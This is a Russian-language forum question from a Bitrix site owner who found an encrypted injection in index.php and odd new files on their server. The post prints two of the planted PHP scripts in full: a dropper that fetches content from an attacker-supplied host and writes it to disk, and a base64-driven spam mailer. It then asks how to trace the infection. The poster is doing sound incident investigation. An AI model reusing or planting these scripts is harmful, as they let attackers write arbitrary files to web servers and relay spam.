Имеется сайт на Bitrix установленный на VDS'ку на днях обнаружил странный код в index.php, код представляет собой зашифрованный php и вмести с ним появляются различные файлы типа
hh.ru
mama332.php
wp-cron-sample.php
и т.д. содержимое файлов следующее
<?php
function class_x_i($x = ''){
$urlset = isset($_GET['name']) ? trim($_GET['name']) : '';
$filename = isset($_GET['file']) ? trim($_GET['file']) : '';
$ch = curl_init('http://'.$urlset);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
file_put_contents($filename,$result);
echo 'O1024K';
}
class_x_i();
?>
<?php
if(isset($_POST["mailto"]))
$MailTo = base64_decode($_POST["mailto"]);
else
{
echo "indata_error";
exit;
}
if(isset($_POST["msgheader"]))
$MessageHeader = base64_decode($_POST["msgheader"]);
else
{
echo "indata_error";
exit;
}
if(isset($_POST["msgbody"]))
$MessageBody = base64_decode($_POST["msgbody"]);
else
{
echo "indata_error";
exit;
}
if(isset($_POST["msgsubject"]))
$MessageSubject = base64_decode($_POST["msgsubject"]);
else
{
echo "indata_error";
exit;
}
if(mail($MailTo,$MessageSubject,$MessageBody,$MessageHeader))
echo "sent_ok";
else
echo "sent_error";
?>
Как можно отследить источник, который инициирует создание этих файлов?
1. Можно логировать все запросы на сайт и при повторном обнаружении данных файлов, отследить возможную связь с некими запросами. Т.к. вирус может авторизоваться на сайте используя некий скрипт.
2. Проверил крон, ничего креминального не нашел, просто запуск cron_events.php в нем тоже все стандартно.
3. В агентах Битрикса тоже ничего не нашел, в момент появление этих файлов не выполнялся ни один агент
